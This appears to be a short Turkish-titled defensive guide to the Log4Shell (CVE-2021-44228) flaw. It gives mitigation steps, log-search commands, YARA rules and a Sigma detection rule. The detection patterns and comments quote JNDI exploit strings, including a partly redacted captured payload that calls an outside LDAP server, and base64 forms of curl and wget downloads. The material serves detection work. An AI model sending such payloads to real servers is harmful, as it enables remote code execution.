Nedir Bu Log4j RCE (Log4Shell)

log4j.formatMsgNoLookups=true

• 2- Apache için güncelleme Log4j v2.15.0
• 3- Aşağıdaki gibi bir komut satırı ile JndiLookup sınıfını pat üzerinden kaldırabilirsiniz.

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

sudo egrep -i -r ‘\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+’ /var/log

sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i ‘\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'

sudo find /var/log/ -name “*.gz” -type f -exec sh -c “zcat {} | sed -e ‘s/\${lower://’g | tr -d ‘}’ | egrep -i ‘jndi:(ldap[s]?|rmi|dns):'” \;

gci ‘C:\’ -rec -force -include *.jar -ea 0 | foreach {select-string “JndiLookup.class” $_} | select -exp Path

rule EXPL_Log4j_CVE_2021_44228_Dec21_Soft {
   meta:
      description = "Detects indicators in server logs that indicate an exploitation attempt of CVE-2021-44228"
      author = "Florian Roth"
      reference = "https://twitter.com/h113sdx/status/1469010902183661568?s=20"
      date = "2021-12-10"
      score = 60
   strings:
      $x1 = "${jndi:ldap:/"
      $x2 = "${jndi:rmi:/"
      $x3 = "${jndi:ldaps:/"
      $x4 = "${jndi:dns:/"
   condition:
      1 of them
}

rule EXPL_Log4j_CVE_2021_44228_Dec21_Hard {
   meta:
      description = "Detects indicators in server logs that indicate the exploitation of CVE-2021-44228"
      author = "Florian Roth"
      reference = "https://twitter.com/h113sdx/status/1469010902183661568?s=20"
      date = "2021-12-10"
      score = 80
   strings:
      $x1 = /\$\{jndi:(ldap|ldaps|rmi|dns):\/[\/]?[a-z-\.0-9]{3,120}:[0-9]{2,5}\/[a-zA-Z\.]{1,32}\}/
      $fp1r = /(ldap|rmi|ldaps|dns):\/[\/]?(127\.0\.0\.1|192\.168\.|172\.[1-3][0-9]\.|10\.)/
   condition:
      $x1 and not 1 of ($fp*)
}

rule SUSP_Base64_Encoded_Exploit_Indicators_Dec21 {
   meta:
      description = "Detects base64 encoded strings found in payloads of exploits against log4j CVE-2021-44228"
      author = "Florian Roth"
      reference = "https://twitter.com/Reelix/status/1469327487243071493"
      date = "2021-12-10"
      score = 70
   strings:
      /* curl -s  */
      $sa1 = "Y3VybCAtcy"
      $sa2 = "N1cmwgLXMg"
      $sa3 = "jdXJsIC1zI"
      /* |wget -q -O-  */
      $sb1 = "fHdnZXQgLXEgLU8tI"
      $sb2 = "x3Z2V0IC1xIC1PLS"
      $sb3 = "8d2dldCAtcSAtTy0g"
   condition:
      1 of ($sa*) and 1 of ($sb*)
}

title: Log4j RCE [CVE-2021-44228] Exploitation Detection Patterns (via webserver)
status: experimental
description: Detects possible Log4j exploitation patterns in user agent header on webserver logs.
author: SOC Prime Team
tags:
    - attack.initial_access
    - attack.t1190
references:
    - https://www.randori.com/blog/cve-2021-44228/
    - https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/
    - https://www-cnblogs-com.translate.goog/yyhuni/p/15088134.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en-US
    - https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
    - https://www.lunasec.io/docs/blog/log4j-zero-day/
    - https://www.reddit.com/r/programming/comments/rcxehp/rce_0day_exploit_found_in_log4j_a_popular_java/
    - https://github.com/YfryTchsGD/Log4jAttackSurface
    - https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6
    - https://github.com/tangxiaofeng7/apache-log4j-poc
    - https://github.com/apache/logging-log4j2/pull/608
    - https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability
    - https://www.crowdstrike.com/blog/log4j2-vulnerability-analysis-and-mitigation-recommendations/
    - https://blog.qualys.com/vulnerabilities-threat-research/2021/12/10/apache-log4j2-zero-day-exploited-in-the-wild-log4shell
    - https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/
    - https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
    - https://blog.cloudflare.com/actual-cve-2021-44228-payloads-captured-in-the-wild/
logsource:
  category: webserver
detection:
  selection_base_ua:
    c-useragent|contains:
      - 'jndi' #real attack example: ${jndi:ldap://45.XXX.205.XXX:12344/Basic/Command/Base64/XXX==}
  selection_vars_ua:
    c-useragent|contains:
      - 'ldap'
      - 'rmi'
      - 'ldaps'
      - 'dns'
      - 'lower' # ${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
      - 'upper'
  selection_base_url: #https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/
    c-uri|contains:
      - 'jndi' 
  selection_vars_url:
    c-uri|contains:
      - 'ldap'
      - 'rmi'
      - 'ldaps'
      - 'dns'
      - 'lower' # ${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
      - 'upper'
  selection_base_body: #https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/
    post-body|contains:
      - 'jndi' 
  selection_vars_body:
    post-body|contains:
      - 'ldap'
      - 'rmi'
      - 'ldaps'
      - 'dns'
      - 'lower' # ${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
      - 'upper'
  condition: (selection_base_ua and selection_vars_ua) or (selection_base_url and selection_vars_url) or (selection_base_body and selection_vars_body)
falsepositives:
  - Unknown
level: high